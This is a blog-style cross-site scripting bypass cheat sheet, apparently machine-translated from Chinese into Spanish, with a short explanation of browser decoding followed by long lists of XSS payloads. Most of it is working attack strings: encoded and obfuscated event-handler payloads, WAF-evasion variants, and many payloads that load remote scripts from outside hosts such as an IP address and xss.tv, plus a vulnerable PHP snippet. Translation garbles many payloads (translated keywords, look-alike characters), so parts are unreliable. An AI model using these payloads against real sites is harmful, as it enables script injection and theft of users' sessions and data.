1. La primera es la función de ventana emergente:
- alerta(1)
- aviso(1)
- confirmar(1)
evaluar()
2. Luego está la codificación de caracteres y el mecanismo de análisis del navegador:
Para hablar sobre la omisión de codificación, primero debemos comprender el proceso de análisis del navegador. No importa en qué orden el navegador analiza el documento HTML, hay tres procesos principales: análisis de HTML, análisis de JS y análisis de URL. Cada analizador es responsable de el documento HTML El trabajo de análisis de sus partes correspondientes.
Primero, cuando el navegador recibe un documento HTML, activará el analizador HTML para realizar un análisis léxico en el documento HTML. Este proceso completa la decodificación HTML y crea un árbol DOM. A continuación, el analizador JavaScript intervendrá para analizar el script en línea. Esto proceso Complete el trabajo de decodificación de JS. Si el navegador encuentra un contexto que requiere una URL, el analizador de URL también intervendrá para completar el trabajo de decodificación de URL. El orden de decodificación del analizador de URL variará según la ubicación de la URL y puede estar antes del analizador de JavaScript o analizar después.
Las codificaciones de caracteres correspondientes a los tres procesos de análisis son: análisis HTML => codificación de entidad HTML, análisis JS => codificación Unicode, análisis URL => codificación URL.
hay que tener en cuenta es:
- 1. La codificación Unicode no puede convertir caracteres de control como 【'】【"】【()】, solo los trata como caracteres normales, no como caracteres de control, es decir, no puede utilizar la codificación Unicode entre comillas simples y dobles en el Etiqueta <script> 2. El pseudo-protocolo de JavaScript
no se puede codificar de otra manera que no sea la codificación HTML. Esta palabra debe estar completa, porque el navegador analiza primero el HTML y luego el javascript debe estar completo. Esto solo se ejecuta bajo ie6.
3. Usemos ejemplos prácticos para explicar lo que está pasando con el proceso de análisis del navegador y la codificación de caracteres mencionados anteriormente, y el enfoque de hoy: la omisión de XSS.
...tentativo
etiqueta de atributo oculto
- El punto de inserción está antes oculto y se agrega un nuevo atributo de tipo para cubrir oculto:
- <valor de entrada='a' src=1 error=alerta(1) tipo="imagen" tipo="oculto">
- El punto de inserción está detrás oculto, shift+alt+tecla de acceso:
- <input value='a' type="hidden" accesskey="x" onclick=alert(1)>
Verificación emergente:
1. Carga útil de la ventana emergente
- <a href=javascript:alert`1`>haga clic
- <botón ' onclick=alerta(1)//>
- <botón de enfoque=alerta`122`>
- <datos del objeto=javascript:alert`1`>
- <body/onfocus=alert`9989`>
- <entrada antofocus οnfοcus=alert`1`>
- <svg><script xlink:href=datos:,alerta(1) />
- <iframe srcdoc=<svg/onload=alerta(1)>>
- <svg/onload=alerta(1)>
- <x contenteditable οnblur=alert(1)>¡pierde el foco!
- <i contenteditable οnblur=alert(1)>¡pierde el foco!//contenteditable: hacer editable
- <x oncontextmenu=alert(1)>¡haz clic derecho aquí!
- <c oncontextmenu=alert(1)>Clic derecho del mouse
- <iframe src=" javascript:prompt(1) ">
- <ScRipT 1>prompt(1)</ScRipT 123
- <entrada/enfocado=ev\u0061l(\u0061lert(1))>
- <ingresar antofocus οnfocus=\u0061lert(1)>
- <iframe/src="datos:texto/html; base64 ,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
- <detalles ontοggle=alert(1)>
<detalles abrir ontoggle =alert(1)> #Payload = antes de agregar un espacio para omitir waf - <Video><error de origen="javascript:alert(123)">
- <iframe/src='data:text/html,<svg onlοad=alert(1)>'>
- [media=mp3,200,300]http://www.tudou.com/programs/view/a' onlοad=alert(1) οnerrοr=alert(1)[/media]
- <img/src=1 onmouseout=alert`1`>
- <a href="#" onclick=alert('\170\163\163')>test3</a> //se puede ejecutar correctamente
- Haz click en mi
- <img src="x" error="alerta(1)">
- <formulario><botón formaction=javascript:alert(1)>CLICKME
- <img src="1" onerrοr=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>//Debe tener comillas dobles, de lo contrario no lo hará ejecutar
- <a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2//Las comillas dobles no se pueden eliminar
- <a href=javascript:eval("alert('xss')")>2 // se pueden eliminar las comillas dobles
- <a href="javascript:alert("xss")">2</a>
- <a href=javascript:alert(/xss/ 41>Prueba XSS</a>
- <img src=9989 error="ventana['al\u0065rt'](111)">
- <IMG SRC=x error="#0000106#0000097#0000118#0000097#0000115#0000099#0000114#0000105#0000112#0000116#0000058#0000097#0000108#000 0101#0000114#0000116#0000040#0000039#0000088#0000083# 0000083')">
- <img src=9989 error=a=\u0061lert,a(1)><input/oninput=top['al\x65rt'](1)>
- <img src=9989 error=[1].find(alerta)>
- <img src=x:alert(alt) error=eval(src) alt=0>
- //Los siguientes están todos codificados en url []
- <img src=9989 error=top%5B%2fal%2f.source%2b%2fert%2f.source%5D%281%29> //<img src=9989 error=top[/al/.source+/ert/ .fuente](1)>
- <img src=9989 error=top%5B%22al%22%2b%22ert%22%5D%281%29> //<img src=9989 error=top["al"+"ert"](1)>
- <img src=9989 error=top%5B%27al%5C145rt%27%5D%281%29> //<img src=9989 error=top['al\145rt'](1)>
- <img src=9989 error=top%5B'al\x65rt'%5D(1)> //<img src=9989 error=top['al\x65rt'](1)>
- <img/src=1 error=top[8680439..toString`30`]`1`>
- <img/src=1 error=top[8680439..toString`30`]`1`>
- <img/src=1 onError="alert(1)"> //A veces es necesario usar &#X para la codificación de URL
- <img/src=1 onError=top[/al/.source+/ert/.source](1)>
- <img/src='un'error=[1].find(alerta)>
- <img/src='2'error=top[8680439..toString(30)](1)>
- <a/href=javascript:alert`1`>123</ a>
- <img/src='2'error=arriba[/al/.source+/ert/.source](1)><p/ncοpy=alert(1)>
- <body onhashchange=alert(1)><a href=#x>¡haz clic aquí!#x
- <body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x
- <body onresize=alert(1)>presione F12!
- <body onpageshow=alerta(1)>
- <cuerpo enfocado=alerta(1)>
- <marquesina onstart=alerta(1)>
- <bucle de marquesina=1 ancho=0 onfinish=alerta(1)>
- <audio src onloadstart=alert(1)>
- <video onloadstart=alerta(1)><fuente>
- <entrar enfoque automático onblur=alerta(2)>
- <enfoque automático keygen onfοcus=alerta(3)>
- <formulario al enviar=alerta(4)><tipo de entrada=enviar>
- <seleccione onchange=alert(5)><opción>1<opción>2
- <menu id=x contextmenu=x οnshow=alert(6)>¡haz clic derecho sobre mí!
<meta content="0;https://www.baidu.com"HTTP-EQUIV="actualizar""/>
<meta content="0;data:text/html;base64,PHNjcmlwdD5wcm9tcHQoIlhTUyIpPC9zY3JpcHQ+"HTTP-EQUIV="actualizar ""/> - <svg><animar xlink:href=#xss atributoName=href valores="#01;#02;#03;#04;#05;#06;#07;#08;
- 26; javascript:alert(1)" /><a id=xss><texto x=20 y=20>XSS</text></a>
- <svg><animar xlink:href=#xss atributoName=href fill=freeze dur=1ms valores="http://isec.pl;javascript:alert(1)" /><a id=xss><texto x= 20 y=20>XSS</text></a>
<svg><animar xlink:href=#xss nombreAtributo=href fill=congelar dur=1ms valores="http://isec.pl;javascript:alert(1 )" /><a id=xss><texto x=20 y=20>XSS</text></a>
<svg><animar xlink:href=#xss nombre del atributo=href valores="javascript :alerta(1)" /><a id=xss><texto x=20 y=20>XSS</text></a>
- <div onscroll=alert`1`>
- <a href=javascript:confirm(1)>MM</a>
- <video ancho="1" altura="1" oncanplay="alerta(1)"><fuente src="http://dwz1.cc/Pwnx5b4F"></video>
2. Importar js externo requiere la biblioteca jQuery
- <html>
- <cabeza>
- <secuencia de comandos src="https://cdn.bootcss.com/jquery/3.4.1/jquery.js"></secuencia de comandos>
- </cabeza>
- <cuerpo>
- <img/src=1 error=$.getScript("http://118.24.154.114/1.js");>
- Alrededor de waf:
- <img/src=1 error=jQuery[atob('Z2V0U2NyaXB0')]("http://118.24.154.114/1.js")>
- 16进制
<img/src=1 error=eval("\x24\x2E\x67\x65\x74\x53\x63\x72\x69\x70\x74\x28\x22\x68\x74\x74\x70\x3A \x2F\x2F\x31\x31\x38\x2E\x32\x34\x2E\x31\x35\x34\x2E\x31\x31\x34\x2F\x31\x2E\x6A\x73\x22\x29\x3B") > - ascii码
<img/src=1 onerrοr="eval(String.fromCharCode(36, 46, 103, 101, 116, 83, 99, 114, 105, 112, 116, 40, 34, 104, 116, 116, 112 , 58, 47, 47, 49, 49, 56, 46, 50, 52, 46, 49, 53, 52, 46, 49, 49, 52, 47, 49, 46, 106, 115, 34, 41, 59 ))"> - </cuerpo>
- </html>
3. Ejemplo de omisión de codificación Unicode
- <html>
- <cabeza>
- </cabeza>
- <cuerpo>
- <div id="s"></div>
- <script>
- var s="\u003cimg/src=1\u003e"; documento.getElementById('s').innerHTML = s;
- </script>
- </cuerpo>
- </html>
El código anterior puede eludir la detección mediante el uso de un reloj Unicode debido al uso del método innerHTML.
4. Use saltos de línea para evitar la detección de reglas de URL:
- <?php
- $url = filter_var($_GET['url'],FILTER_VALIDATE_URL);
- var_dump($url);
- $url = htmlspecialchars($url);
- var_dump($url);
- echo "<a href='$url'>Siguiente diapositiva</a>"
- ?>
Código de explotación:
- <img/src=1 onmouseοver=s=createElement('\163\143\162\151\160\164');body.appendChild(s);s.src="//xss.tv"> <img
src =1 error="with(document)body.appendChild(createElement(String.fromCharCode(115,99,114,105,112,116))).src='\150\164\164\160\72\'"> JS 8进制
El siguiente es un artículo de un tipo grande, que se cita directamente aquí, y lo organizaré cuando tenga tiempo.
- https://bbs.ichunqiu.com/thread-31886-1-1.html
- Para los caracteres de conexión aquí, he investigado algunas cargas útiles, que pueden filtrar caracteres peligrosos como secuencias de comandos y documentos, y no necesitan construir una carga útil bajo ninguna codificación.
- Cuando se filtra el documento, no se puede utilizar la codificación
- + se filtra y no se puede codificar
- <svg/οnlοad="[1].find(function(){with(`\docomen\.1\t\.1`);;body.appendChild(createElement('script')).src='http: //xss.tv/XA'})">
- <svg/οnlοad="[1].find(function(){with(`docom%27|e|%27nt`);;body.appendChild(createElement('script')).src='http:// xss.tv/XA'})">
- <svg/οnlοad="[1].find(function(){with(`docom%27%2Be%2B%27nt`);;body.appendChild(createElement('script')).src='http:/ /xss.tv/XA'})">
- <svg/οnlοad="[1].find(function(){with(`docom'+e+'nt`);;body.appendChild(createElement('script')).src='http://xss. tv/XA'})">
- <svg/onload="[1].find(function(){with(`docom'-e-'nt`);;body.appendChild(createElement('\163\143\162\151\160\164' )).src='http://xss.tv/XA'})">
- <svg/onload="[1].find(function(){with(`docom'*e*'nt`);;body.appendChild(createElement('\163\143\162\151\160\164' )).src='http://xss.tv/XA'})">
<svg/onload="[1].find(function(){with(`docom'/e/'nt`);;body.appendChild(createElement('\163\143\162\151\160\164' )).src='http://xss.tv/XA'})">- <svg/onload="[1].find(function(){with(`docom'%e%'nt`);;body.appendChild(createElement('\163\143\162\151\160\164' )).src='http://xss.tv/XA'})">
- <svg/onload="[1].find(function(){with(`docom'^e^'nt`);;body.appendChild(createElement('\163\143\162\151\160\164' )).src='http://xss.tv/XA'})">
- <svg/onload="[1].find(function(){with(`docom'>e>'nt`);;body.appendChild(createElement('\163\143\162\151\160\164' )).src='http://xss.tv/XA'})">
- <svg/onload="[1].find(function(){with(`docom'<e<'nt`);;body.appendChild(createElement('\163\143\162\151\160\164' )).src='http://xss.tv/XA'})">
- <script tipo="texto/javascript">
- var a = ''>=alerta``<='';
- var a = ''+alerta``+'';
- </script>
- <keygen autofocus οnfοcus=s=createElement("scriPt");body.appendChild(s);s.src="//xsspt.com/JUvhKT">Compatible con Firefox 360, Google falló, host guard
- Estos son los siguientes símbolos de conexión
- El caso donde la salida está en la posición de la cadena en el script
- Si está permitido cerrar la cadena, simplemente ciérrela directamente y escríbala en javascript, como:
- http://mhz.pw/game/xss/scriptstr.php?xss=%27|alerta(1)|%27
- http://t.mhz.pw/game/xss/scriptstr.php?xss='|alerta(1)|'
- http://t.mhz.pw/game/xss/scriptstr.php?xss=%27%2Balert(1)%2B%27
- http://t.mhz.pw/game/xss/scriptstr.php?xss='+alerta(1)+'
- http://t.mhz.pw/game/xss/scriptstr.php?xss='-alert(1)-'
- http://t.mhz.pw/game/xss/scriptstr.php?xss='*alerta(1)*'
- http://t.mhz.pw/game/xss/scriptstr.php?xss='/alerta(1)/'
- http://t.mhz.pw/game/xss/scriptstr.php?xss='%alert(1)%'
- http://t.mhz.pw/game/xss/scriptstr.php?xss='^alert(1)^'
- http://t.mhz.pw/game/xss/scriptstr.php?xss='>alerta(1)>'
- http://t.mhz.pw/game/xss/scriptstr.php?xss='<alerta(1)<'
- http://t.mhz.pw/game/xss/scriptstr.php?xss='>=alert(1)>='
- http://t.mhz.pw/game/xss/scriptstr.php?xss='<=alerta(1)<='
- http://t.mhz.pw/game/xss/scriptstr.php?xss='==alert(1)=='
- http://t.mhz.pw/game/xss/scriptstr.php?xss='===alert(1)==='
- http://t.mhz.pw/game/xss/scriptstr.php?xss='!=alert(1)!='
- http://t.mhz.pw/game/xss/scriptstr.php?xss='!==alerta(1)!=='
- http://t.mhz.pw/game/xss/scriptstr.php?xss='%26alert(1)%26'
- http://t.mhz.pw/game/xss/scriptstr.php?xss='&alert(1)&'
- http://t.mhz.pw/game/xss/scriptstr.php?xss='|alerta(1)|'
- http://t.mhz.pw/game/xss/scriptstr.php?xss='||alerta(1)||'
- http://t.mhz.pw/game/xss/scriptstr.php?xss='>=alert(1)<='
- <svg/οnlοad="[1].find(function(){with(`docom'|e|'nt`);;body.appendChild(createElement('script')).src='http://xss .tv/XA'})">
- <svg/onload=[1].find(function(){with(/do/.source+/cument/.source)body.appendChild(createElement("script")).src="http://xss.tv /XA"})>
- <svg/onload=[1].find(function(){with(/docomen/.source+/t/.source);;body.appendChild(createElement("script")).src="http://xss .tv/XA"})>
- <svg/onload=[1].find(function(){with(`/docomen/.source+/t/.source`);;body.appendChild(createElement("script")).src="http:/ /xss.tv/XA"})>
- <svg/onload=[1].find(function(){with(`/docomen/.1+/t/.1`);;body.appendChild(createElement("script")).src="http: //xss.tv/XA"})>
- /carácter/.1+/carácter/.1
- carácter más carácter
- //.1 + //.1 Estas son solo la forma de conectar caracteres, resumidos como documento
- <svg/onload=[1].find(function(){with(`\docomen\.1+\t\.1`);;body.appendChild(createElement("script")).src="http: //xss.tv/XA"})>
- / puede ser reemplazado por \
- <svg/onload=[1].find(function(){with(`\docomen\.1\t\.1`);;body.appendChild(createElement("script")).src="http:/ /xss.tv/XA"})>
- no agregue signo
- <svg/onload=[1].find(function(){with(`=docomen=.1+=t=.1`);;body.appendChild(createElement("script")).src="http: //xss.tv/XA"})>
- / se puede cambiar a = signo
- <svg/onload=[1].find(function(){with(`=docomen=.1=t=.1`);;body.appendChild(createElement("script")).src="http:/ /xss.tv/XA"})>
- no agregue signo
- <svg/onload=[1].find(function(){with(`^docomen^.1+^t^.1`);;body.appendChild(createElement("script")).src="http: //xss.tv/XA"})>
- / puede ser reemplazado por ^
- <svg/onload=[1].find(function(){with(`^docomen^.1^t^.1`);;body.appendChild(createElement("script")).src="http:/ /xss.tv/XA"})>
- <svg/onload=[1].find(function(){with(`|docomen|.1+|t|.1`);;body.appendChild(createElement("script")).src="http: //xss.tv/XA"})>
- / se puede cambiar a |
- <svg/onload=[1].find(function(){with(`|docomen|.1|t|.1`);;body.appendChild(createElement("script")).src="http:/ /xss.tv/XA"})>
- <svg/οnlοad=[1].find(function(){with(`&docomen&.1+&t&.1`);;body.appendChild(createElement("script")).src="http://xss. televisión/XA"})>
- / se puede reemplazar con & firmar
- <svg/onload=[1].find(function(){with(`&docomen&.1&t&.1`);;body.appendChild(createElement("script")).src="http://xss.tv/ XA"})>
- <svg/onload=[1].find(function(){with(`%26docomen%26.1+$26t%26.1`);;body.appendChild(createElement("script")).src="http:// xss.tv/XA"})>
- / Cambiar a %26 también está bien
- <svg/onload=[1].find(function(){with(`%26docomen%26.1$26t%26.1`);;body.appendChild(createElement("script")).src="http://xss .tv/XA"})>
- sin comillas
- El cuerpo entre paréntesis también está bien
- <svg/onload=[1].find(function(){with(`docomen`);(body.appendChild(createElement('script'))).src='http://xss.tv/XA'} )>
- <body/onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,120,115,115,46,102,98,105,115,98, 46,99,111,109,47,48,71,73,103,62,60 ,47,115,99,114,105,112,116,62))>
- <svg/onload=[1].find(function(){with('docu'==='ment');body.appendChild(createElement("script")).src="http://xss.tv /XA"})>
- Los pájaros estúpidos vuelan primero y entran temprano en el bosque, y las personas estúpidas estudian mucho y se vuelven útiles pronto.
- Indique la fuente:
- Escrito por: fox-yu http://www.cnblogs.com/fox-yu/